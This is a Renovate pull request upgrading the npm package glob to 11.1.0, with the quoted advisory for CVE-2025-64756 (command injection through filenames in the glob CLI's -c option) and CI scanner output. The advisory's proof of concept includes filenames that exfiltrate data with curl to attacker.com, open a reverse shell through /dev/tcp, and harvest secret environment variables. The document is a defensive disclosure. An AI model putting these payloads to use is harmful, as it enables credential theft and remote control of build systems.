chore(deps): update dependency glob to v11.1.0 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
glob	11.0.3 -> 11.1.0

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally
• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
• A new file injected_poc is created, proving command execution
• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository
• CI pipeline uses glob -c to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use glob -c for file processing
• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0and 10.5.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to [email protected], [email protected], or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

---

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[github-actions]

❌MegaLinter analysis: Error

Descriptor	Linter	Files	Fixed	Errors	Warnings	Elapsed time
✅ DOCKERFILE	hadolint	1		0	0	0.03s
✅ GROOVY	npm-groovy-lint	10	3	0	0	25.78s
✅ JAVASCRIPT	prettier	99	99	0	0	3.75s
✅ JSON	jsonlint	8		0	0	0.21s
✅ JSON	npm-package-json-lint	yes		no	no	0.68s
✅ JSON	prettier	8	3	0	0	0.83s
✅ JSON	v8r	8		0	0	8.45s
⚠️ MARKDOWN	markdownlint	7	2	2	0	2.49s
✅ MARKDOWN	markdown-table-formatter	7	5	0	0	0.83s
✅ REPOSITORY	gitleaks	yes		no	no	10.76s
✅ REPOSITORY	git_diff	yes		no	no	0.13s
❌ REPOSITORY	grype	yes		2	no	27.76s
✅ REPOSITORY	secretlint	yes		no	no	0.95s
❌ REPOSITORY	trivy	yes		1	no	7.29s
✅ REPOSITORY	trufflehog	yes		no	no	3.31s
✅ SPELL	cspell	137		0	0	6.24s
⚠️ SPELL	lychee	18		12	0	21.36s
✅ XML	xmllint	1	0	0	0	0.19s
✅ YAML	prettier	3	0	0	0	0.73s
✅ YAML	v8r	3		0	0	5.06s
✅ YAML	yamllint	3		0	0	0.56s

Detailed Issues

❌ REPOSITORY / grype - 2 errors

[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal)
NAME          INSTALLED  FIXED IN  TYPE          VULNERABILITY        SEVERITY  EPSS           RISK   
logback-core  1.5.18     1.5.19    java-archive  GHSA-25qh-j22f-pwp8  Medium    < 0.1% (11th)  < 0.1  
glob          10.4.5     11.1.0    npm           GHSA-5j98-mcp5-4vw2  High      N/A            N/A
[0027] ERROR discovered vulnerabilities at or above the severity threshold

❌ REPOSITORY / trivy - 1 error

2025-11-18T03:14:35Z	INFO	[vulndb] Need to update DB
2025-11-18T03:14:35Z	INFO	[vulndb] Downloading vulnerability DB...
2025-11-18T03:14:35Z	INFO	[vulndb] Downloading artifact...	repo="mirror.gcr.io/aquasec/trivy-db:2"
38.66 MiB / 75.22 MiB [------------------------------->_____________________________] 51.39% ? p/s ?75.22 MiB / 75.22 MiB [----------------------------------------------------------->] 100.00% ? p/s ?75.22 MiB / 75.22 MiB [----------------------------------------------------------->] 100.00% ? p/s ?75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 60.85 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 56.92 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 53.25 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [---------------------------------------------->] 100.00% 49.82 MiB p/s ETA 0s75.22 MiB / 75.22 MiB [-------------------------------------------------] 100.00% 31.24 MiB p/s 2.6s2025-11-18T03:14:39Z	INFO	[vulndb] Artifact successfully downloaded	repo="mirror.gcr.io/aquasec/trivy-db:2"
2025-11-18T03:14:39Z	INFO	[vuln] Vulnerability scanning is enabled
2025-11-18T03:14:39Z	INFO	[misconfig] Misconfiguration scanning is enabled
2025-11-18T03:14:39Z	INFO	[misconfig] Need to update the checks bundle
2025-11-18T03:14:39Z	INFO	[misconfig] Downloading the checks bundle...
165.46 KiB / 165.46 KiB [---------------------------------------------------------] 100.00% ? p/s 0s2025-11-18T03:14:42Z	INFO	Suppressing dependencies for development and testing. To display them, try the '--include-dev-deps' flag.
2025-11-18T03:14:42Z	INFO	Number of language-specific files	num=1
2025-11-18T03:14:42Z	INFO	[npm] Detecting vulnerabilities...
2025-11-18T03:14:42Z	INFO	Detected config files	num=1

Report Summary

┌───────────────────┬────────────┬─────────────────┬───────────────────┐
│      Target       │    Type    │ Vulnerabilities │ Misconfigurations │
├───────────────────┼────────────┼─────────────────┼───────────────────┤
│ package-lock.json │    npm     │        1        │         -         │
├───────────────────┼────────────┼─────────────────┼───────────────────┤
│ Dockerfile        │ dockerfile │        -        │         0         │
└───────────────────┴────────────┴─────────────────┴───────────────────┘
Legend:
- '-': Not scanned
- '0': Clean (no security findings detected)


For OSS Maintainers: VEX Notice
--------------------------------
If you're an OSS maintainer and Trivy has detected vulnerabilities in your project that you believe are not actually exploitable, consider issuing a VEX (Vulnerability Exploitability eXchange) statement.
VEX allows you to communicate the actual status of vulnerabilities in your project, improving security transparency and reducing false positives for your users.
Learn more and start using VEX: https://trivy.dev/v0.67/docs/supply-chain/vex/repo#publishing-vex-documents

To disable this notice, set the TRIVY_DISABLE_VEX_NOTICE environment variable.


package-lock.json (npm)
=======================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 1, CRITICAL: 0)

┌─────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┬───────────────────────────────────────────────────────────┐
│ Library │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                           Title                           │
├─────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ glob    │ CVE-2025-64756 │ HIGH     │ fixed  │ 10.4.5            │ 11.1.0        │ glob CLI: Command injection via -c/--cmd executes matches │
│         │                │          │        │                   │               │ with shell:true                                           │
│         │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2025-64756                │
└─────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┴───────────────────────────────────────────────────────────┘

📣 Notices:
  - Version 0.67.2 of Trivy is now available, current version is 0.67.0

To suppress version checks, run Trivy scans with the --skip-version-check flag

⚠️ SPELL / lychee - 12 errors

[WARN ] Error creating request: InvalidPathToUri("/lib/java/logback.xml")
[403] https://www.npmjs.com/package/amplitude | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://npmjs.org/package/npm-groovy-lint | Network error: Forbidden
[403] https://www.npmjs.com/package/analytics | Network error: Forbidden
[403] https://www.npmjs.com/package/insight | Network error: Forbidden
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/analytics | Error (cached)
[403] https://www.npmjs.com/package/insight | Error (cached)
[403] https://www.npmjs.com/package/amplitude | Error (cached)
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://npmjs.org/package/npm-groovy-lint | Error (cached)
[IGNORED] git+https://github.com/nvuillam/npm-groovy-lint.git | Unsupported: Error creating request client: builder error for url (git+https://github.com/nvuillam/npm-groovy-lint.git)
📝 Summary
---------------------
🔍 Total..........326
✅ Successful.....305
⏳ Timeouts.........0
🔀 Redirected.......0
👻 Excluded.........8
❓ Unknown..........0
🚫 Errors..........12

Errors in CHANGELOG.md
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/analytics | Error (cached)
[403] https://www.npmjs.com/package/insight | Error (cached)

Errors in docs/index.md
[403] https://npmjs.org/package/npm-groovy-lint | Error (cached)
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/amplitude | Error (cached)

Errors in README.md
[403] https://www.npmjs.com/package/java-caller | Network error: Forbidden
[403] https://npmjs.org/package/npm-groovy-lint | Network error: Forbidden
[403] https://www.npmjs.com/package/amplitude | Network error: Forbidden

Errors in docs/CHANGELOG.md
[403] https://www.npmjs.com/package/java-caller | Error (cached)
[403] https://www.npmjs.com/package/insight | Network error: Forbidden
[403] https://www.npmjs.com/package/analytics | Network error: Forbidden

⚠️ MARKDOWN / markdownlint - 2 errors

docs/index.md:38:65 MD059/descriptive-link-text Link text should be descriptive [Context: "[**here**]"]
README.md:38:65 MD059/descriptive-link-text Link text should be descriptive [Context: "[**here**]"]

See detailed reports in MegaLinter artifacts